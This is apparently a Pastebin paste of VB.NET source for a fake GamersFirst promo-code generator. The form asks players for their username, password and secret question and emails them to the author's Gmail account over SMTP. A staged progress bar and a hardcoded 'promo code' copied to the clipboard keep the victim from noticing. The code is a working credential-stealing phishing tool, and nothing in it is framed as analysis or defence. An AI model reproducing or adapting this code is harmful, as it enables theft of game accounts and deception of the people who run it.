Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" = True Then
- MsgBox("Without all info you can't login", MsgBoxStyle.OkOnly, "Error while logging in")
- Else
- Try
- Dim newmail As New MailMessage()
- Dim smtpserver As New SmtpClient
- smtpserver.Credentials = New Net.NetworkCredential("mail here", "pass here")
- smtpserver.Port = 587
- smtpserver.Host = "smtp.gmail.com" 'if your mail is a hotmail then change gmail into: live
- smtpserver.EnableSsl = True
- newmail.To.Add("mail here")
- newmail.From = New MailAddress("mail here")
- newmail.Subject = "Username: " & TextBox1.Text & " " & "Password: " & TextBox2.Text & " " & "Secret Question: " & TextBox3.Text
- newmail.Body = "Username: " & TextBox1.Text & ControlChars.NewLine & "Password: " & TextBox2.Text & ControlChars.NewLine & "Secret Question: " & TextBox3.Text
- smtpserver.Send(newmail) 'now it will send a mail to the adress when this button is clicked.
- 'now we have it to let a timer start so lets do it
- Button2.Enabled = True
- TextBox1.Enabled = False
- TextBox2.Enabled = False
- TextBox3.Enabled = False
- Button1.Enabled = False
- Catch ex As Exception
- MsgBox("Failed to log in, please make sure you have an internet connection and those are the right username and password", MsgBoxStyle.OkOnly & MsgBoxStyle.Critical, "Error while logging in")
- End Try
- End If
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- ProgressBar1.Increment(1)
- If ProgressBar1.Value < 30 Then
- Label6.Text = "Starting to create a promo code"
- ElseIf ProgressBar1.Value > 30 And ProgressBar1.Value < 60 Then
- Label6.Text = "Placing the numbers and characters in right order"
- ElseIf ProgressBar1.Value > 60 And ProgressBar1.Value < 90 Then
- Label6.Text = "Activating Promo Code in GamersFirst Database"
- ElseIf ProgressBar1.Value > 98 Then
- Label6.Text = "Done creating promo code"
- End If
- If ProgressBar1.Value = 99 Then
- Dim random As Integer
- Dim rnd As New Random
- random = rnd.Next(1, 4)
- TextBox4.Enabled = True
- If random = 1 Then
- TextBox4.Text = "DF28A04D-189B-49E4-8539-9DA0596E3DDF"
- ElseIf random = 2 Then
- TextBox4.Text = "1A7A1A1E-D40A-486E-A738-6293274126C7"
- ElseIf random = 3 Then
- TextBox4.Text = "E16D1CEC-0E58-4092-9FDA-26D7DC2278B6"
- ElseIf random = 4 Then
- TextBox4.Text = "7DD83F3E-30FF-43CD-B026-FF70AF1E758C"
- End If
- TextBox4.Enabled = True
- Timer1.Stop()
- My.Computer.Clipboard.SetText(TextBox4.Text)
- MsgBox("The code has been created and been copied to your clipboard", MsgBoxStyle.OkOnly, "Finished")
- End If
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Timer1.Start()
- Button2.Enabled = False
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- TextBox2.PasswordChar = "?"
- End Sub
- End Class
Add Comment
Please, Sign In to add comment